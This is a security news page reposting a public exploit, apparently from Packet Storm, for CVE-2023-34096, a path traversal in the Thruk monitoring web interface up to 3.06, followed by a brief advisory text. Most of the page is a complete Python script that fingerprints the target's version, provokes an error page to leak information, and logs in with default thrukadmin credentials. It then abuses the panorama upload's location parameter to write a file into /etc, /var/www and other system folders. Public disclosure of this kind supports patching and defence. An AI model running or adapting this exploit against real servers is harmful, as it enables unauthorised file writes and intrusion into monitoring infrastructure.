Security
Headlines
HeadlinesLatestCVEs

Headline

Thruk Monitoring Web Interface 3.06 Path Traversal

Thruk Monitoring Web Interface versions 3.06 and below are affected by a path traversal vulnerability.

Packet Storm
#vulnerability#web#windows#apple#ubuntu#linux#debian#js#git#auth#chrome#webkit
# Exploit Title: Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06# Date: 08-Jun-2023# Exploit Author: Galoget Latorre (@galoget)# CVE: CVE-2023-34096 (Galoget Latorre)# Vendor Homepage: https://thruk.org/# Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip# Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096# CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html# GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h# Affected Versions: <= 3.06# Language: Python 3.x# Tested on:#  - Ubuntu 22.04.5 LTS 64-bit#  - Debian GNU/Linux 10 (buster) 64-bit#  - Kali GNU/Linux 2023.1 64-bit#  - CentOS GNU/Linux 8.5.2111 64-bit#!/usr/bin/python3# -*- coding:utf-8 -*-import sysimport warningsimport requestsfrom bs4 import BeautifulSoupfrom termcolor import cprint# Usage: python3 exploit.py <target.site># Example: python3 exploit.py http://127.0.0.1/thruk/# Disable warningswarnings.filterwarnings('ignore')# Set headersheaders = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"}def banner():    """    Function to print the banner    """    banner_text = """ __     __     __   __  __  __      __        __   __   __  /  \\  /|_  __   _) /  \\  _)  _) __   _) |__| /  \\ (__\\ /__  \\__ \\/ |__     /__ \\__/ /__ __)     __)    | \\__/  __/ \\__)                                                                Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06Exploit & CVE Author: Galoget Latorre (@galoget)LinkedIn: https://www.linkedin.com/in/galoget"""    print(banner_text)def usage_instructions():    """    Function that validates the number of arguments.    The application MUST have 2 arguments:    - [0]: Name of the script    - [1]: Target URL (Thruk Base URL)    """    if len(sys.argv) != 2:        print("Usage: python3 exploit.py <target.site>")        print("Example: python3 exploit.py http://127.0.0.1/thruk/")        sys.exit(0)def check_vulnerability(thruk_version):    """    Function to check if the recovered version is vulnerable to CVE-2023-34096.    Prints additional information about the vulnerability.    """    try:        if float(thruk_version[1:5]) <= 3.06:            if float(thruk_version[4:].replace("-", ".")) < 6.2:                cprint("[+] ", "green", attrs=['bold'], end = "")                print("This version of Thruk is ", end = "")                cprint("VULNERABLE ", "red", attrs=['bold'], end = "")                print("to CVE-2023-34096!")                print(" |  CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html")                print(" |  GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h")                print(" |  CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096")                print(" |  CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096")                print(" |  Thruk Changelog: https://www.thruk.org/changelog.html")                print(" |  Fixed version: 3.06-2+")                print("")                return True            else:                cprint("[-] ", "red", attrs=['bold'], end = "")                print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.")                return False    except:        cprint("[-] ", "red", attrs=['bold'], end = "")        print("There was an error parsing Thruk's version.\n")        return Falsedef get_thruk_version():    """    Function to get Thruk's version via web scraping.    It also verifies the title of the website to check if the target is a Thruk instance.    """    response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10)    html_soup = BeautifulSoup(response.text, "html.parser")    if "<title>Thruk Monitoring Webinterface</title>" not in response.text:        cprint("[-] ", "red", attrs=['bold'], end = "")        print("Verify if the URL is correct and points to a Thruk Monitoring Web Interface.")        sys.exit(-1)    else:        # Extract version anchor tag        version_link = html_soup.find_all("a", {"class": "link text-sm"})        if len(version_link) == 1 and version_link[0].has_attr('href'):            thruk_version = version_link[0].text.strip()            cprint("[+] ", "green", attrs=['bold'], end = "")            print(f"Detected Thruk Version (Public Banner): {thruk_version}\n")            return thruk_version        else:            cprint("[-] ", "red", attrs=['bold'], end = "")            print("There was an error retrieving Thruk's version.")            sys.exit(-1)def get_error_info():    """    Function to cause an error in the target Thruk instance and collect additional information via web scraping.    """    # URL that will cause an error    error_url = target + "//cgi-bin/login.cgi"    # Retrieve Any initial Cookies    error_response = requests.get(error_url,                                  headers=headers,                                  allow_redirects=False,                                  verify=False,                                  timeout=10)    cprint("[*] ", "blue", attrs=['bold'], end = "")    print("Trying to retrieve additional information...\n")    try:        # Search for the error tag        html_soup = BeautifulSoup(error_response.text, "html.parser")        error_report = html_soup.find_all("pre", {"class": "text-left mt-5"})[0].text        if len(error_report) > 0:            # Print Error Info            error_report = error_report[error_report.find("Version"):error_report.find("\n\nStack")]            cprint("[+] ", "green", attrs=['bold'], end = "")            print("Recovered Information: \n")            parsed_error_report = error_report.split("\n")            for error_line in parsed_error_report:                print(f"     {error_line}")    except:        cprint("[-] ", "red", attrs=['bold'], end = "")        print("No additional information available.\n")def get_thruk_session_auto_login():    """    Function to login into the Thruk instance and retrieve a valid session.    It will use default Thruk's credentials available here:    - https://www.thruk.org/documentation/install.html        Change credentials if required.    """    # Default Credentials - Change if required    username = "thrukadmin" # CHANGE ME    password = "thrukadmin" # CHANGE ME    params = {"login": username, "password": password}    cprint("[*] ", "blue", attrs=['bold'], end = "")    print(f"Trying to autenticate with provided credentials: {username}/{password}\n")    # Define Login URL    login_url = "cgi-bin/login.cgi"    session = requests.Session()    # Retrieve Any initial Cookies    session.get(target, headers=headers, allow_redirects=True, verify=False)    # Login and get thruk_auth Cookie    session.post(target + login_url, data=params, headers=headers, allow_redirects=False, verify=False)    # Get Cookies as dictionary    cookies = session.cookies.get_dict()    # Successful Login    if cookies.get('thruk_auth') is not None:        cprint("[+] ", "green", attrs=['bold'], end = "")        print("Successful Authentication!\n")        cprint("[+] ", "green", attrs=['bold'], end = "")        print(f"Login Cookie: thruk_auth={cookies.get('thruk_auth')}\n")        return session    # Failed Login    else:        if cookies.get('thruk_message') == "fail_message~~login%20failed":            cprint("[-] ", "red", attrs=['bold'], end = "")            print("Login Failed, check your credentials.")            sys.exit(401)def cve_2023_34096_exploit_path_traversal(logged_session):    """    Function that attempts to exploit the Path Traversal Vulnerability.    The exploit will try to upload a PoC file to multiple common folders.    This to prevent permissions errors to cause false negatives.    """    cprint("[*] ", "blue", attrs=['bold'], end = "")    print("Trying to exploit: ", end = "")    cprint("CVE-2023-34096 - Path Traversal\n", "yellow", attrs=['bold'])    # Define Upload URL    upload_url = "cgi-bin/panorama.cgi"    # Absolute paths    common_folders = ["/tmp/",                      "/etc/thruk/plugins/plugins-enabled/",                      "/etc/thruk/panorama/",                      "/etc/thruk/bp/",                      "/etc/thruk/thruk_local.d/",                      "/var/www/",                      "/var/www/html/",                      "/etc/",    ]    # Upload PoC file to each folder    for target_folder in common_folders:        # PoC file extension is jpg due to regex validations of Thruk.        # Nevertheless this issue can still cause damage in different ways to the affected instance.        files = {'image': ("exploit.jpg", "CVE-2023-34096-Exploit-PoC-by-galoget")}        data = {"task": "upload",                "type": "image",                "location": f"backgrounds/../../../..{target_folder}"        }        upload_response = logged_session.post(target + upload_url,                                    data=data,                                    files=files,                                    headers=headers,                                    allow_redirects=False,                                    verify=False)        try:            upload_response = upload_response.json()            if upload_response.get("msg") == "Upload successfull" and upload_response.get("success") is True:                cprint("[+] ", "green", attrs=['bold'], end = "")                print(f"File successfully uploaded to folder: {target_folder}{files.get('image')[0]}\n")            elif upload_response.get("msg") == "Fileupload must use existing and writable folder.":                cprint("[-] ", "red", attrs=['bold'], end = "")                print(f"File upload to folder \'{target_folder}{files.get('image')[0]}\' failed due to write permissions or non-existent folder!\n")            else:                cprint("[-] ", "red", attrs=['bold'], end = "")                print("File upload failed.\n")        except:            cprint("[-] ", "red", attrs=['bold'], end = "")            print("File upload failed.\n")if __name__ == "__main__":    banner()    usage_instructions()    # Change this with the domain or IP address to attack    if sys.argv[1] and sys.argv[1].startswith("http"):        target = sys.argv[1]    else:        target = "http://127.0.0.1/thruk/"    # Prepare Base Target URL    if not target.endswith('/'):        target += "/"    cprint("[+] ", "green", attrs=['bold'], end = "")    print(f"Target URL: {target}\n")    # Get Thruk version via web scraping    scraped_thruk_version = get_thruk_version()    # Send a request that will generate an error and collect extra info    get_error_info()    # Check if the instance is vulnerable to CVE-2023-34096    vulnerable_status = check_vulnerability(scraped_thruk_version)    if vulnerable_status:        cprint("[+] ", "green", attrs=['bold'], end = "")        print("The Thruk version found in this host is vulnerable to CVE-2023-34096. Do you want to try to exploit it?")        # Confirm exploitation        option = input("\nChoice (Y/N): ").lower()        print("")        if option == "y":            cprint("[*] ", "blue", attrs=['bold'], end = "")            print("The tool will attempt to exploit the vulnerability by uploading a PoC file to common folders...\n")            # Login into Thruk instance            valid_session = get_thruk_session_auto_login()            # Exploit Path Traversal Vulnerability            cve_2023_34096_exploit_path_traversal(valid_session)        elif option == "n":            cprint("[*] ", "blue", attrs=['bold'], end = "")            print("No exploitation attempts were performed, Goodbye!\n")            sys.exit(0)        else:            cprint("[-] ", "red", attrs=['bold'], end = "")            print("Unknown option entered.")            sys.exit(1)    else:        cprint("[-] ", "red", attrs=['bold'], end = "")        print("The current Thruk's version is NOT VULNERABLE to CVE-2023-34096.")        sys.exit(2)

Related news

CVE-2023-34096: panorama: fix folder validation · sni/Thruk@cf03f67

Thruk is a multibackend monitoring webinterface which currently supports Naemon, Icinga, Shinken and Nagios as backends. In versions 3.06 and prior, the file `panorama.pm` is vulnerable to a Path Traversal vulnerability which allows an attacker to upload a file to any folder which has write permissions on the affected system. The parameter location is not filtered, validated or sanitized and it accepts any kind of characters. For a path traversal attack, the only characters required were the dot (`.`) and the slash (`/`). A fix is available in version 3.06.2.

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6